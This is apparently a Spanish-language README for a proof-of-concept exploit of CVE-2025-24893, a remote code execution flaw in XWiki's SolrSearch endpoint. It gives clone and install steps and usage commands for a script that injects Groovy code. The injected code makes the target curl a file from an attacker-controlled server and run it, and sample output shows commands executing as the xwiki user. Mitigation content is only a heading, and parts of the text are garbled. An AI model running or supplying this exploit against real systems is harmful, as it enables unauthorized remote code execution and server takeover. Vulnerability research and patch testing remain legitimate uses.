
PoC para CVE-2025-24893
Este repositorio contiene una Prueba de Concepto (PoC) del exploit para la vulnerabilidad de Ejecución Remota de Código (RCE) en XWiki identificada como CVE-2025-24893. La vulnerabilidad permite a un atacante ejecutar código arbitrario en una instancia de XWiki objetivo aprovechando una solicitud manipulada al endpoint SolrSearch. Este script admite objetivos tanto HTTP como HTTPS.
⚠️ Aviso: Esta PoC está destinada únicamente a fines educativos y de investigación. El uso no autorizado de este código contra sistemas sin permiso explícito es ilegal y poco ético. Obtenga siempre la autorización adecuada antes de probar cualquier sistema.
La vulnerabilidad surge debido a un manejo incorrecto de la entrada del usuario en el endpoint SolrSearch, lo que permite la inyección de código Groovy a través de un payload manipulado. Esta PoC demuestra cómo un atacante puede explotar esto para ejecutar comandos arbitrarios en el servidor objetivo.
requests, , , , argparseurllib.parserehtmlgit clone https://github.com/570RMBR3AK3R/xwiki-cve-2025-24893-poc.git
pip install requests
El script envía una solicitud HTTP/HTTPS manipulada a la instancia de XWiki objetivo, inyectando un payload Groovy que ejecuta un comando curl para recuperar y ejecutar un archivo desde un servidor controlado por el atacante.
Ejecute el script con el siguiente comando:
python3 exploit.py --url <target_url> --server <attacker_server> --file <malicious_file> [--no-verify]
--url: La URL base de la instancia de XWiki objetivo (ej. http://target o https://target).--server: La IP o nombre de host del servidor del atacante, incluyendo el puerto si es necesario (ej. 192.168.1.100:8080). Soporta tanto HTTP como HTTPS.--file: El nombre del archivo en el servidor del atacante que contiene el código a ejecutar (ej. exploit.sh).--no-verify: Bandera opcional para deshabilitar la verificación SSL en objetivos HTTPS (usar con precaución, solo para pruebas).python3 exploit.py --url http(s)://vulnerable-xwiki.com --server http(s)://192.168.1.100:8080 --file exploit.sh
Para omitir la verificación SSL (por ejemplo, para certificados autofirmados):
python3 exploit.py --url https://vulnerable-xwiki.com --server http(s)://192.168.1.100:8080 --file exploit.sh --no-verify
Esto hará lo siguiente:
curl.exploit.sh) desde el servidor del atacante (http(s)://192.168.1.100:8080).El script extrae la respuesta del objetivo, elimina las etiquetas HTML (ej. <br/>, <del>), y convierte las entidades HTML a texto plano para facilitar la lectura. La salida limpia se imprime en la consola.
python3 exploit.py --url http://<redacted> --server http://<redacted>:8080 --file exploit.sh
uid=997(xwiki) gid=997(xwiki) groups=997(xwiki)
Para protegerse contra esta vulnerabilidad:
Este proyecto está licenciado bajo la Licencia MIT. Consulte el archivo LICENSE para más detalles.